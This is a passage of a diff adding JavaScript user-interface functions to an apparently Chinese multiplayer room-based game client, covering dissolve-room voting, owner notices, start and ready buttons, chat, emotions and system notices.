this.VoteList.push(i); + } + if (Desk.agreefree[i] == 0) { + this.ApplyPlayer = i; + } + } + for (var i = 0; i < this.VoteList.length; i++) { + set_self(264 + i, 7, "【" + Desk.GetPlayerBySeat(this.VoteList[i]).nickname + "】", 0, 0); + set_self(166 + i, 7, "等待", 0, 0); + } + for (var i = 0; i < Desk.AgreeList.length; i++) { + for (var j = 0; j < this.VoteList.length; j++) { + if (this.VoteList[j] == Desk.AgreeList[i]) { + //set_self(193+j,7,"同意",0,0); + set_self(166 + j, 7, "同意", 0, 0); + } + } + + } + + set_self(191, 7, "发起投票:【" + Desk.GetPlayerBySeat(this.ApplyPlayer).nickname + "】\n\n请问是否同意?(倒计时结束未选择,则默认同意)", 0, 0); + set_group(29, 37, 1, 0, 0); + for (var i = this.VoteList.length; i <10; i++) { + set_self(264 + i, 37, 0, 0, 0); + set_self(166 + i, 37, 0, 0, 0); + } + if (bTemp) { + set_self(201, 37, 0, 0, 0); + set_self(202, 37, 0, 0, 0); + } + + set_self(223, 37, 0, 0, 0); + this.StartVoteCountDown(time); + +} +GameUI.OpenApplyResult = function(bTemp, agreelist) { + GameUI.CloseChat(); + GameUI.CloseSetting(); + set_self(369, 7, "三人及以下全部同意达成解散,\n三人以上超过半数同意达成解散"); + if (bTemp) { //投票通过 + var vlist = []; + var vote; + for (var i = 0; i < agreelist.length; i++) { + + if (agreelist[i] == 1) { + vlist.push(i); + } + if (agreelist[i] == 0) { + vote = i; + } + } + set_self(191, 7, "投票结果:\n\n投票发起:【" + Desk.GetPlayerBySeat(vote).nickname + "】", 0, 0); + for (var i = 0; i < vlist.length; i++) { + set_self(264 + i, 7, "【" + Desk.GetPlayerBySeat(vlist[i]).nickname + "】", 0, 0); + set_self(166 + i, 7, "同意", 0, 0); + } + set_group(29, 37, 1, 0, 0); + for (var i = vlist.length; i < 10; i++) { + set_self(264 + i, 37, 0, 0, 0); + set_self(166 + i, 37, 0, 0, 0); + } + set_self(201, 37, 0, 0, 0); + set_self(202, 37, 0, 0, 0); + set_self(222, 37, 0, 0, 0); + set_self(223, 37, 1, 0, 0); + } else { + + set_self(191, 7, "投票结果:\n\n拒绝解散玩家:【" + Desk.GetPlayerBySeat(agreelist[0]).nickname + "】", 0, 0); + set_group(29, 37, 1, 0, 0); + for (var i = agreelist.length - 1; i < 10; i++) { + set_self(264 + i, 37, 0, 0, 0); + set_self(166 + i, 37, 0, 0, 0); + } + set_self(201, 37, 0, 0, 0); + set_self(202, 37, 0, 0, 0); + set_self(222, 37, 0, 0, 0); + set_self(223, 37, 1, 0, 0); + } +} +GameUI.CloseApplyResult = function() { + + if (Desk.applyresult == 1) { + Desk.applyresult = -1; + if (Desk.deskfree != null) { + GameUI.CloseApplyResult(); + Game_Modify.Free(Desk.deskfree); + } else { + Desk.Init(); + C_Player.BreakRoom(); + GameUI.JumpMenuScene(); + } + } else { + set_group(29, 37, 0, 0, 0); + set_self(223, 37, 0, 0, 0); + Desk.applyresult = -1; + } +} +GameUI.SelfVote = function(v) { //自己投票解散 + set_self(369, 7, "三人及以下全部同意达成解散,\n三人以上超过半数同意达成解散"); + switch (v) { + case 0: + //拒绝 + for (var i = 0; i < this.VoteList.length; i++) { + if (this.VoteList[i] == C_Player.seat) { + set_self(166 + i, 7, "拒绝", 1, 0); + } + } + set_self(201, 37, 0, 0, 0); + set_self(202, 37, 0, 0, 0); + break; + case 1: + //同意 + for (var i = 0; i < this.VoteList.length; i++) { + if (this.VoteList[i] == C_Player.seat) { + set_self(166 + i, 7, "同意", 1, 0); + } + } + set_self(201, 37, 0, 0, 0); + set_self(202, 37, 0, 0, 0); + break; + } +} +GameUI.OtherVote = function(v, _msg) { //他人投票解散 + switch (v) { + case 0: + //拒绝 + for (var i = 0; i < this.VoteList.length; i++) { + if (this.VoteList[i] == _msg.data.seat) { + set_self(166 + i, 7, "拒绝", 1, 0); + } + } + break; + case 1: + //同意 + //console.log("他人同意"+Desk.AgreeList); + for (var i = 0; i < this.VoteList.length; i++) { + if (this.VoteList[i] == _msg.data.seat) { + set_self(166 + i, 7, "同意", 1, 0); + } + } + break; + } +} +GameUI.showEscape = function() { + if (Game_Config.sysConfig) { + if (Game_Config.sysConfig.mainSceneButton) { + set_self(513, 37, 0, 0, 0); + return; + } + } + if (GameData.sysConfig.hideEscape) { + set_self(513, 37, 0, 0, 0); + } else { + set_self(513, 37, 1, 0, 0); + } + +} +GameUI.hideEscape = function() { + set_self(513, 37, 0, 0, 0); +} +GameUI.showExitBtn = function() { + set_self(233, 37, 1, 0, 0); +} +GameUI.hideExitBtn = function() { + set_self(233, 37, 0, 0, 0); +} +GameUI.showExitBtn2 = function() { + set_self(3145, 37, 1, 0, 0); +} +GameUI.hideExitBtn2 = function() { + set_self(3145, 37, 0, 0, 0); +} +GameUI.showBreakBtn2 = function() { + set_self(3144, 37, 1, 0, 0); +} +GameUI.hideBreakBtn2 = function() { + set_self(3144, 37, 0, 0, 0); +} +GameUI.showOwnerNotice = function(notice) { + if (!notice) { + return; + } + + notice = "房主公告:\n" + notice; + var spaceX = 15; + var spaceY = 15; + var bgSpace = 0; + var textW = 14.5; + var lineH = 28; + var parm = Logic.countText(notice); + set_self(3150, 7, notice, 0); + set_self(3150, 37, 1, 0, 0); + + var w = spaceX * 2 + parm[1] * textW; + if (parm) { + set_self(3148, 20, spaceX * 2 + parm[1] * textW, 0, 0); + set_self(3148, 21, spaceY * 2 + parm[0] * lineH, 0, 0); + + set_self(3148, 18, get_self(3149, 18, 0, 0, 0) - get_self(3148, 20, 0, 0, 0) - bgSpace, 0, 0); + + } + + set_self(3150, 19, get_self(3148, 19, 0, 0, 0) + spaceY, 0, 0); + set_self(3150, 18, get_self(3148, 18, 0, 0, 0) + spaceY, 0, 0); + set_self(3148, 37, 1, 0, 0); + +} +GameUI.hideOwnerNotice = function() { + set_self(3148, 37, 0, 0, 0); + set_self(3150, 37, 0, 0, 0); + +} +GameUI.showDesktopUI = function() { + //if(Desk.stage==1){return;} + //set_self(3144,37,1,0,0); + set_self(3145, 37, 1, 0, 0); + set_self(3143, 37, 1, 0, 0); + set_self(3146, 37, 1, 0, 0); + set_self(3147, 37, 1, 0, 0); + set_self(3151, 37, 1, 0, 0); + //有短号房主留言 + if (Desk.ownerNotice) { + set_self(3149, 37, 1, 0, 0); + if (Logic.getVisibleNote()) { + GameUI.showOwnerNotice(Desk.ownerNotice); + } + + } + if (Desk.stage == 0) { + if (GameUI.checkShowRoomCode()) { + set_self(3146, 7, Desk.roomcode, 0, 0); + if (C_Player.status == 1) { + GameUI.showBreakBtn2(); + } + + } else { + GameUI.hideDesktopUI(); + } + } else { + GameUI.hideDesktopUI(); + } +} +GameUI.hideDesktopUI = function() { + set_self(3144, 37, 0, 0, 0); + set_self(3145, 37, 0, 0, 0); + set_self(3143, 37, 0, 0, 0); + set_self(3146, 37, 0, 0, 0); + set_self(3147, 37, 0, 0, 0); + set_self(3151, 37, 0, 0, 0); +} +//判断房号()是否可以显示 +GameUI.checkShowRoomCode = function() { + if (Desk.infinite == 1) { + return 0; + } + if (GameData.matchInfo) { + return 0; + } + return 1; +} +GameUI.ShowStartScene = function() { //显示开始按钮 + GameUI.showDesktopUI(); + if (C_Player.status == 1) { //房主 + set_group(28, 37, 1, 0, 0); + //set_self(656,37,0,0,0); + set_self(184, 37, 0, 0, 0); + if (GameData.matchId) { //比赛房间 + //set_self(185,37,0,0,0); + GameUI.hideBreakBtn2(); + } + //if(Desk.playercnt == 2 && Desk.roomMode == 1 && Desk.infinite == 0 && Desk.stage == 0){ + //GameUI.showEscape(); + //}else{ + //GameUI.hideEscape(); + //} + if (C_Player.isStart == true) { + if (Desk.getPrepareCnt() < Desk.warcnt) { + set_self(184, 37, 0, 0, 0); + } else { + set_self(184, 37, 1, 0, 0); + GameData.shakeID = Game_Config.shakeList.startwar; + Func.startshake(); + + } + } + //set_self(233,37,0,0,0); + if (GameData.versionState == 0) { + set_self(195, 37, 1, 0, 0); + } else { + set_self(195, 37, 0, 0, 0); + } + if (Desk.roomMode == 1 && GameData.hallConfig.worldRoomList && GameData.hallConfig.shareButton) { //星星场 + set_self(569, 37, 1, 0, 0); + //set_self(183,18,290,0,0); + //set_self(569,18,700,0,0); + } else { + set_self(569, 37, 0, 0, 0); + //set_self(183,18,466,0,0); + } + //GameUI.showChangeRoom(); + } else { + set_self(183, 37, 1, 0, 0); + //GameUI.showExitBtn();//set_self(233,37,1,0,0); + GameUI.showExitBtn2(); + //set_self(512,37,1,0,0); + //set_self(656,37,0,0,0); + if (C_Player.isStart == true) { + if (Desk.playercnt < Desk.warcnt) { + set_self(184, 37, 0, 0, 0); + } else { + set_self(184, 37, 1, 0, 0); + GameData.shakeID = Game_Config.shakeList.startwar; + Func.startshake(); + + } + } + } + GameUI.hideReady(); + //if(GameData.matchInfo){ + //set_self(512,37,0,0,0); + //} + if (GameData.matchId) { + set_self(512, 37, 0, 0, 0); + set_self(183, 37, 0, 0, 0); + set_self(569, 37, 0, 0, 0); + set_self(195, 37, 0, 0, 0); + } + + if (GameData.hallConfig.groupMsg) { + set_self(658, 7, GameData.hallConfig.groupMsg, 0, 0); + set_self(658, 18, get_self(657, 18, 0, 0, 0) + get_self(657, 20, 0, 0, 0) / 2 - String(GameData.hallConfig.groupMsg).gblen() * 6.5, 0, 0); + } else { + set_self(657, 37, 0, 0, 0); + set_self(658, 37, 0, 0, 0); + } + if (Desk.infinite == 1) { //无限局即系统房间 + //set_self(185,37,0,0,0); + set_self(195, 37, 0, 0, 0); + set_self(183, 37, 0, 0, 0); + set_self(513, 37, 0, 0, 0); + set_self(512, 37, 0, 0, 0); + set_self(184, 37, 0, 0, 0); + //set_self(185,37,0,0,0); + set_self(569, 37, 0, 0, 0); + } + if(GameData.sysConfig.hideWxShare){ + set_self(183,37,0,0,0); + } + +} +GameUI.HideStartScene = function() { //隐藏开始按钮 + set_group(28, 37, 0, 0, 0); + GameUI.updateMainSceneBtnPanel(); +} +GameUI.showStartButton = function() { + if (Game_Config.sysConfig) { + if (Game_Config.sysConfig.mainSceneButton) { + return; + } + } + if (Desk.infinite == 1) { //无限局即系统房间 + set_self(184, 37, 0, 0, 0); + return; + } + if (Desk.getPrepareCnt() >= Desk.warcnt && Desk.stage == 0 && C_Player.isStart == true) { + set_self(184, 37, 1, 0, 0); + GameData.shakeID = Game_Config.shakeList.startwar; + Func.startshake(); + + } else { + set_self(184, 37, 0, 0, 0); + GameData.shakeID = Game_Config.shakeList.nil; + Func.stopshake(); + } + +} +GameUI.showReady = function() { + if (typeof Desk.needprepare != "undefined") { + if (Desk.needprepare == 1) { + if (C_Player.isprepare == 0) { + set_self(515, 37, 1, 0, 0); + + } else { + set_self(515, 37, 0, 0, 0); + //GameUI.hideChangeRoom(); + } + } else { + set_self(515, 37, 0, 0, 0); + //GameUI.hideChangeRoom(); + } + if (Desk.infinite == 1) { + //GameUI.showChangeRoom(); + //GameUI.showExitBtn(); + } + } else { + set_self(515, 37, 0, 0, 0); + //GameUI.hideChangeRoom(); + } + +} +GameUI.hideReady = function() { + set_self(515, 37, 0, 0, 0); + //GameUI.hideChangeRoom(); +} +GameUI.showChangeRoom = function() { + if (Desk.infinite == 1 && !Desk.shortcode) { + set_self(3014, 37, 1, 0, 0); + } else { + set_self(3014, 37, 0, 0, 0); + } + if (Game_Config.sysConfig.vipInfinite) { + set_self(3014, 37, 0, 0, 0); + } +} +GameUI.hideChangeRoom = function() { + set_self(3014, 37, 0, 0, 0); + GameUI.hideExitBtn(); //set_self(233,37,0,0,0); + GameUI.showExitBtn2(); +} +GameUI.OpenChat = function() { //打开消息聊天 + //GameData.chatLine = null; + Utl.playSound(Game_Config.ClickButton.src_2); + set_group(30, 37, 1, 0, 0); + if (!Game_Config.sysConfig.vipInfinite) { + if (GameData.sysNoticeLimit < 0) { + GameData.selectSysNotice = false; + if (!GameData.selectSysNotice) { + Func.setInput(204, Game_Config.Chat.LimitLength); + } else { + Func.setInput(204, ConstVal.sysNotice.limit); + } + set_self(3111, 37, 0, 0, 0); + set_self(3113, 37, 0, 0, 0); + set_self(3117, 37, 0, 0, 0); + } else { + if (C_Player.bean >= GameData.sysNoticeLimit) { + set_self(3111, 37, 1, 0, 0); + set_self(3113, 37, 1, 0, 0); + set_self(3117, 37, 1, 0, 0); + set_self(3117, 7, "发送系统公告将消耗" + GameData.starName + "数量:" + GameData.sysNoticeCost, 0, 0); + } else { + GameData.selectSysNotice = false; + if (!GameData.selectSysNotice) { + Func.setInput(204, Game_Config.Chat.LimitLength); + } else { + Func.setInput(204, ConstVal.sysNotice.limit); + } + set_self(3111, 37, 0, 0, 0); + set_self(3113, 37, 0, 0, 0); + set_self(3117, 37, 0, 0, 0); + } + } + switch (GameData.ChatPage) { + case 1: + GameUI.SelectMsg(); + break; + case 2: + GameUI.SelectEmotion(); + break; + case 3: + GameUI.SelectHistory(); + break; + case 4: + GameUI.SelectSysNotice(); + break; + default: + + break; + } + } else { + GameData.selectSysNotice = true; + set_self(188, 37, 0, 0, 0); + set_self(699, 37, 0, 0, 0); + set_self(203, 37, 0, 0, 0); + set_self(161, 37, 0, 0, 0); + set_self(698, 37, 0, 0, 0); + set_self(162, 37, 0, 0, 0); + if (GameData.sysNoticeLimit < 0) { + GameData.selectSysNotice = false; + if (!GameData.selectSysNotice) { + Func.setInput(204, Game_Config.Chat.LimitLength); + } else { + Func.setInput(204, ConstVal.sysNotice.limit); + } + set_self(3111, 37, 0, 0, 0); + set_self(3113, 37, 0, 0, 0); + set_self(3117, 37, 0, 0, 0); + } else { + if (C_Player.bean >= GameData.sysNoticeLimit) { + set_self(3111, 37, 1, 0, 0); + set_self(3113, 37, 1, 0, 0); + set_self(3117, 37, 1, 0, 0); + set_self(3117, 7, "发送系统公告将消耗" + GameData.starName + "数量:" + GameData.sysNoticeCost, 0, 0); + } else { + GameData.selectSysNotice = false; + if (!GameData.selectSysNotice) { + Func.setInput(204, Game_Config.Chat.LimitLength); + } else { + Func.setInput(204, ConstVal.sysNotice.limit); + } + set_self(3111, 37, 0, 0, 0); + set_self(3113, 37, 0, 0, 0); + set_self(3117, 37, 0, 0, 0); + } + } + + set_self(3107, 19, 151, 0, 0); + set_self(3108, 19, 169, 0, 0); + + set_self(3112, 19, 141, 0, 0); + set_self(3114, 19, 143, 0, 0); + GameUI.SelectSysNotice(); + + } + GameUI.updateSysNoticeCount(); +} +GameUI.CloseChat = function() { //关闭聊天 + GameUI.clearCommunion(); + set_group(30, 37, 0, 0, 0); +} +GameUI.SelectMsg = function() { //选择常用语 + GameData.ChatPage = 1; + GameUI.clearCommunion(); + set_self(ConstVal.Emotion.f_spid, 37, 0, 0, 0); + set_self(ConstVal.Com_History.f_spid, 37, 0, 0, 0); + set_self(ConstVal.sysNotice.f_spid, 37, 0, 0, 0); + set_self(188, 43, 2, 0, 0); + set_self(203, 43, 1, 0, 0); + set_self(698, 43, 1, 0, 0); + set_self(3107, 43, 1, 0, 0); + for (var spid = 206; spid <= 212; spid++) { + set_self(spid, 37, 1, 0, 0); + } + +} +GameUI.SelectHistory = function() { //选择历史记录 + GameData.ChatPage = 3; + set_self(ConstVal.Emotion.f_spid, 37, 0, 0, 0); + set_self(ConstVal.Com_History.f_spid, 37, 1, 0, 0); + set_self(ConstVal.sysNotice.f_spid, 37, 0, 0, 0); + set_self(188, 43, 1, 0, 0); + set_self(203, 43, 1, 0, 0); + set_self(698, 43, 2, 0, 0); + set_self(3107, 43, 1, 0, 0); + for (var spid = 206; spid <= 212; spid++) { + set_self(spid, 37, 0, 0, 0); + } + GameUI.createCommunion(GameData.communionHistory); + +} +GameUI.SelectEmotion = function() { //选择表情 + GameData.ChatPage = 2; + GameUI.clearCommunion(); + set_self(ConstVal.Com_History.f_spid, 37, 0, 0, 0); + set_self(ConstVal.sysNotice.f_spid, 37, 0, 0, 0); + set_self(188, 43, 1, 0, 0); + set_self(203, 43, 2, 0, 0); + set_self(698, 43, 1, 0, 0); + set_self(3107, 43, 1, 0, 0); + for (var spid = 206; spid <= 212; spid++) { + set_self(spid, 37, 0, 0, 0); + } + set_self(ConstVal.Emotion.f_spid, 37, 1, 0, 0); + if (!GameData.isCreateEmotion) { + var col = -1; + var ind = 0; + for (var i = 0; i < ConstVal.Emotion.count; i++) { + ind = i % ConstVal.Emotion.col_num; + if (ind == 0) { //换行 + col++; + } + ifast_addtospritefromspritecopy(ConstVal.Emotion.f_spid, ConstVal.Emotion.spid_list[i], ConstVal.Emotion.x + ind * (ConstVal.Emotion.dis_x + ConstVal.Emotion.w), ConstVal.Emotion.y + col * (ConstVal.Emotion.y + ConstVal.Emotion.h), ConstVal.Emotion.tag + i); + + + } + if (col >= 0) { + set_self(ConstVal.Emotion.f_spid, 21, ConstVal.Emotion.y + (col + 1) * (ConstVal.Emotion.y + ConstVal.Emotion.h), 0, 0); + } + + GameData.isCreateEmotion = true; + } + + +} +//切换系统公告 +GameUI.SelectSysNotice = function() { + GameData.ChatPage = 4; + set_self(ConstVal.Emotion.f_spid, 37, 0, 0, 0); + set_self(ConstVal.Com_History.f_spid, 37, 0, 0, 0); + + set_self(188, 43, 1, 0, 0); + set_self(203, 43, 1, 0, 0); + set_self(698, 43, 1, 0, 0); + set_self(3107, 43, 2, 0, 0); + for (var spid = 206; spid <= 212; spid++) { + set_self(spid, 37, 0, 0, 0); + } + GameUI.setSysNoticeReaded(); + GameUI.updateSysNoticeCount(); + set_self(ConstVal.sysNotice.f_spid, 18, ConstVal.sysNotice.clip_x, 0, 0); + GameUI.createSysNotice(GameData.sysNotice); + +} +//更新系统消息气泡 +GameUI.updateSysNoticeBubble = function(_msg) { + if (get_self(153, 37, 0, 0, 0) == 0) { + return; + } + var limit = 8; + var msgAry = _msg.split(ConstVal.sysNotice.msg_rOld); + //var msg = ""; + if (msgAry.length >= 1) { + //msg += Func.subString(msgAry[0],limit,true)+"\n"; + set_rec(1, Func.subString(msgAry[0], limit, true)); + } else { + //msg+="\n"; + set_rec(1, ""); + } + if (msgAry.length >= 2) { + //msg += Func.subString(msgAry[1],limit-4,true)+"详..."; + set_rec(2, Func.subString(msgAry[1], limit - 4, true) + "详..."); + } else { + //msg+="详..."; + set_rec(2, "详..."); + } + + if (get_self(153, 37, 0, 0, 0) && !get_self(187, 37, 0, 0)) { + //set_self(3116,7,msg,0,0); + + set_self(3115, 37, 1, 0, 0); + //set_self(3116,37,1,0,0); + set_self(3115, 35, 255, 0, 0); + //set_self(3116,35,255,0,0); + play_ani(1, 3115, 35, 255, 0, 0, 1000, 0, 800, 0, 1, 0, 0); + //play_ani(1,3116,35,255,0,0,800,0,500,0,1,0,0); + //set_self(3115,33,100,0,0); + //set_self(3116,33,100,0,0); + //play_ani(1,3115,33,100,0,0,800,0,500,0,1,0,0); + //play_ani(1,3116,33,100,0,0,800,0,500,0,1,0,0); + } + GameUI.updateSysNoticeCount2(); + //return msg; +} +//调整公告 +GameUI.addSysNotice = function(_sysNotice) { + var msgAry = _sysNotice.split(ConstVal.sysNotice.msg_rOld); + var lenLimit = Math.floor((ConstVal.sysNotice.clip_w - ConstVal.sysNotice.spaceX * 2 - ConstVal.sysNotice.bm_space_x * 2) / ConstVal.sysNotice.msg_width); + for (var i = 0; i < msgAry.length; i++) { + msgAry[i] = Func.insertFlag(msgAry[i], ConstVal.sysNotice.msg_rOld, lenLimit, true); + } + var bTemp = false; + if (get_self(ConstVal.sysNotice.f_spid, 37, 0, 0, 0) == 1) { + bTemp = true; + } + var msg = msgAry.join(ConstVal.sysNotice.msg_rOld); + var line = Func.countFlag(msg, ConstVal.sysNotice.msg_rOld); + var sysData = {}; + sysData.msg = min_replaceAll(msg, ConstVal.sysNotice.msg_rOld, ConstVal.sysNotice.msg_rNew); + sysData.line = line; + sysData.read = bTemp; + GameData.sysNotice.push(sysData); + GameUI.updateSysNoticeCount(); + + if (get_self(ConstVal.sysNotice.f_spid, 37, 0, 0, 0)) { + //set_self(ConstVal.sysNotice.f_spid,19,height,0,0); + GameUI.createSysNotice(GameData.sysNotice); + } +} +//更新系统消息个数提示 +GameUI.updateSysNoticeCount = function() { + GameUI.updateSysNoticeCount2(); + var count = GameUI.countSysNoticeUnRead(); + if (count == 0) { + set_self(3112, 37, 0, 0, 0); + set_self(3114, 37, 0, 0, 0); + return; + } else { + if (count >= 10) { + if (count < 100) { + set_self(3112, 18, 653, 0, 0); + set_self(3112, 20, 37, 0, 0); + } else { + set_self(3112, 18, 643, 0, 0); + set_self(3112, 20, 47, 0, 0); + } + + } else { + set_self(3112, 18, 663, 0, 0); + set_self(3112, 20, 27, 0, 0); + } + if (get_self(3107, 37, 0, 0, 0) == 1) { + set_self(3112, 37, 1, 0, 0); + set_self(3114, 37, 1, 0, 0); + } else { + set_self(3112, 37, 0, 0, 0); + set_self(3114, 37, 0, 0, 0); + return; + } + } + if (count < 100) { + set_self(3114, 7, count, 0, 0); + set_self(3114, 20, String(count).length * 12.5, 0, 0); + } else { + set_self(3114, 7, "99+", 0, 0); + set_self(3114, 20, "99+".length * 12.5, 0, 0); + } + GameUI.adaptPositionSpid(3114, 3112); + +} +GameUI.updateSysNoticeCount2 = function() { + if (get_self(153, 37, 0, 0, 0) == 0) { + return; + } + var count = GameUI.countSysNoticeUnRead(); + var posX = get_self(153, 18, 0, 0, 0) + get_self(153, 20, 0, 0, 0); + //var posY = get_self(153,19,0,0,0)-13; + if (count == 0) { + set_self(3118, 37, 0, 0, 0); + set_self(3119, 37, 0, 0, 0); + return; + } else { + if (count >= 10) { + if (count < 100) { + set_self(3118, 20, 37, 0, 0); + //set_self(3118,18,posX-get_self(3118,20,0,0,0)+10,0,0); + + } else { + + set_self(3118, 20, 47, 0, 0); + //set_self(3118,18,posX-get_self(3118,20,0,0,0)+10,0,0); + } + + } else { + + set_self(3118, 20, 27, 0, 0); + //set_self(3118,18,posX-get_self(3118,20,0,0,0)+10,0,0); + } + if (get_self(153, 37, 0, 0, 0)) { + set_self(3118, 37, 1, 0, 0); + set_self(3119, 37, 1, 0, 0); + } else { + set_self(3118, 37, 0, 0, 0); + set_self(3119, 37, 0, 0, 0); + return; + } + } + if (count < 100) { + set_self(3119, 7, count, 0, 0); + set_self(3119, 20, String(count).length * 12.5, 0, 0); + } else { + set_self(3119, 7, "99+", 0, 0); + set_self(3119, 20, "99+".length * 12.5, 0, 0); + } + GameUI.adaptPositionSpid(3119, 3118); +} +// +//清除系统公告 +GameUI.clearSysNotice = function() { + //GameData.sysNotice=[]; + for (var i = 0; i < GameData.sysCreateLength; i++) { + ifast_dllpritefromspritecopy(ConstVal.sysNotice.f_spid, ConstVal.sysNotice.bubble_tag + i); + ifast_dllpritefromspritecopy(ConstVal.sysNotice.f_spid, ConstVal.sysNotice.msg_tag + i); + } + GameData.sysCreateLength = 0; +} +//将所有设置为已读 +GameUI.setSysNoticeReaded = function() { + for (var i = 0; i < GameData.sysNotice.length; i++) { + GameData.sysNotice[i].read = true; + } +} +//统计未读个数 +GameUI.countSysNoticeUnRead = function() { + var rValue = 0; + for (var i = 0; i < GameData.sysNotice.length; i++) { + if (!GameData.sysNotice[i].read) { + rValue++; + } + } + return rValue; +} +//创建系统公告 +GameUI.createSysNotice = function(_sysNotice) { + GameUI.clearSysNotice(); + var height = ConstVal.sysNotice.y; + var maxWidth = ConstVal.sysNotice.clip_w - ConstVal.sysNotice.x * 2; + set_self(ConstVal.sysNotice.f_spid, 37, 1, 0, 0); + for (var i = 0; i < GameData.sysNotice.length; i++) { + + // 气泡 + var bubble = ifast_addtospritefromspritecopy(ConstVal.sysNotice.f_spid, ConstVal.sysNotice.bubble_spid, ConstVal.sysNotice.x, ConstVal.sysNotice.y + height, ConstVal.sysNotice.bubble_tag + i); + set_self(bubble, 20, maxWidth, 0, 0); + set_self(bubble, 21, ConstVal.sysNotice.lineHeight * GameData.sysNotice[i].line + ConstVal.sysNotice.bm_space_y * 2, 0, 0); + //内容 + var notice = ifast_addtospritefromspritecopy(ConstVal.sysNotice.f_spid, ConstVal.sysNotice.msg_spid, ConstVal.sysNotice.x + ConstVal.sysNotice.bm_space_x, ConstVal.sysNotice.bm_space_y + height, ConstVal.sysNotice.msg_tag + i); + set_self(notice, 7, GameData.sysNotice[i].msg, 0, 0); + + height += ConstVal.sysNotice.lineHeight * GameData.sysNotice[i].line + ConstVal.sysNotice.bm_space_y * 2 + ConstVal.sysNotice.noteSpace; + } + GameData.sysCreateLength = GameData.sysNotice.length; + set_self(ConstVal.sysNotice.f_spid, 21, height, 0, 0); + +} +GameUI.ShowEmotion = function(v, ind) { + ind = Number(ind); + if (v == 0) { + GameUI.CloseChat(); + } + set_self(468 + v, 18, get_self(376 + v, 18, 0, 0, 0), 0, 0); + set_self(468 + v, 19, get_self(376 + v, 19, 0, 0, 0), 0, 0); + set_self(468 + v, 20, get_self(376 + v, 20, 0, 0, 0), 0, 0); + set_self(468 + v, 21, get_self(376 + v, 21, 0, 0, 0), 0, 0); + set_self(498 + v, 18, get_self(376 + v, 18, 0, 0, 0), 0, 0); + set_self(498 + v, 19, get_self(376 + v, 19, 0, 0, 0), 0, 0); + set_self(498 + v, 20, get_self(376 + v, 20, 0, 0, 0), 0, 0); + set_self(498 + v, 21, get_self(376 + v, 21, 0, 0, 0), 0, 0); + set_self(468 + v, 37, 1, 0, 0); + set_self(498 + v, 1, ConstVal.Emotion.src_list[ind - 1], 0, 0); + set_self(498 + v, 37, 1, 0, 0); + var t = 1; + if (ConstVal.Emotion.mode == 1) { + t = (ConstVal.Emotion.frame_list[ind - 1] + 1) * ConstVal.Emotion.rate; + } else { + t = ConstVal.Emotion.show_time_list[ind - 1]; + } + if (ConstVal.Emotion.frame_list[ind - 1] <= 3) { + play_ani(1, 498 + v, 43, 1, ConstVal.Emotion.frame_list[ind - 1], 0, t, 0, 0, 0, 7, 0, 0); + } else if (ConstVal.Emotion.frame_list[ind - 1] <= 5) { + play_ani(1, 498 + v, 43, 1, ConstVal.Emotion.frame_list[ind - 1], 0, t, 0, 0, 0, 4, 0, 0); + } else if (ConstVal.Emotion.frame_list[ind - 1] <= 8) { + play_ani(1, 498 + v, 43, 1, ConstVal.Emotion.frame_list[ind - 1], 0, t, 0, 0, 0, 3, 0, 0); + } else if (ConstVal.Emotion.frame_list[ind - 1] <= 15) { + play_ani(1, 498 + v, 43, 1, ConstVal.Emotion.frame_list[ind - 1], 0, t, 0, 0, 0, 2, 0, 0); + } else { + play_ani(1, 498 + v, 43, 1, ConstVal.Emotion.frame_list[ind - 1], 0, t, 0, 0, 0, 1, 0, 0); + } + + + +} + +GameUI.ShowChat = function(v, text) { + text = String(text); + set_self(204, 7, "", 0, 0); + if (v == 0) { + this.CloseChat(); + } + var x = Game_Config.Chat.ChatLoc[v][0]; + var y = Game_Config.Chat.ChatLoc[v][1]; + var dis_x = Game_Config.Chat.ChatDis[0]; + var dis_y = Game_Config.Chat.ChatDis[1]; + var isleft = Game_Config.Chat.isLeft[v]; + var text_w = Game_Config.Chat.textwidth; + var text_len = text.gblen(); + if (isleft) { + set_self(552 + v, 18, x, 0, 0); + set_self(552 + v, 19, y, 0, 0); + set_self(582 + v, 18, x + dis_x, 0, 0); + set_self(582 + v, 19, y + dis_y, 0, 0); + set_self(582 + v, 7, text, 0, 0); + set_self(552 + v, 20, text_len * text_w + dis_x * 2, 0, 0); + set_self(552 + v, 1, 83, 0, 0); + set_self(552 + v, 37, 1, 0, 0); + set_self(582 + v, 37, 1, 0, 0); + } else { + set_self(552 + v, 18, x - text_len * text_w - dis_x * 2, 0, 0); + set_self(582 + v, 18, x - text_len * text_w - dis_x, 0, 0); + set_self(552 + v, 19, y, 0, 0); + set_self(582 + v, 19, y + dis_y, 0, 0); + + set_self(582 + v, 7, text, 0, 0); + set_self(552 + v, 20, text_len * text_w + dis_x * 2, 0, 0); + set_self(552 + v, 1, 86, 0, 0); + set_self(552 + v, 37, 1, 0, 0); + set_self(582 + v, 37, 1, 0, 0); + + } + play_ani(1, 552 + v, 43, 1, 1, 0, Game_Config.Max.ShowChat, 0, 0, 0, 1, 0, 0); + +} +GameUI.HideChat = function() { + set_group(75, 37, 0, 0, 0); +} +GameUI.OpenTips = function(_msg, time, mode) { + try { + // if(!String(_msg)){ + // return; + // } + //if(GameData.tipTimer1){ + // GameData.tipTimer1 = null; + // clearTimeout(GameData.tipTimer1); + //} + if (!_msg) { + return; + } + if (time) { + if (time > 0) { + GameData.tipTimer1 = setTimeout("GameUI.CloseTips()", time); + } + } + switch (mode) { + case 1: + set_self(217, 19, 126, 0, 0); + set_self(218, 19, 161, 0, 0); + break; + case 2: + set_self(217, 19, 418, 0, 0); + set_self(218, 19, 453, 0, 0); + break; + default: + set_self(217, 19, 276, 0, 0); + set_self(218, 19, 311, 0, 0); + break; + } + length + var w = 14.5; + // var arr = Logic.countText(_msg); + // if(arr.>1){ + // set_self(218,7,_msg,0,0); + // set_self(217,20,arr[1]*14+100,0,0); + // set_self(217,18,640-get_self(217,20,0,0,0)/2,0,0); + //set_self(218,18,640-_msg.gblen()*7,0,0); + // set_self(217,37,1,0,0); + //set_self(218,37,1,0,0); + // }else{ + set_self(218, 7, _msg, 0, 0); + set_self(217, 20, _msg.gblen() * w + 100, 0, 0); + set_self(217, 18, 640 - get_self(217, 20, 0, 0, 0) / 2, 0, 0); + set_self(218, 18, 640 - _msg.gblen() * w / 2, 0, 0); + set_self(217, 37, 1, 0, 0); + set_self(218, 37, 1, 0, 0); + // } + + + //set_self(393,37,1,0,0); + } catch (e) { + + } +} +GameUI.CloseTips = function() { + //if(GameData.tipTimer1){ + // GameData.tipTimer1 = null; + // clearTimeout(GameData.tipTimer1); + //} + set_self(217, 37, 0, 0, 0); + set_self(218, 37, 0, 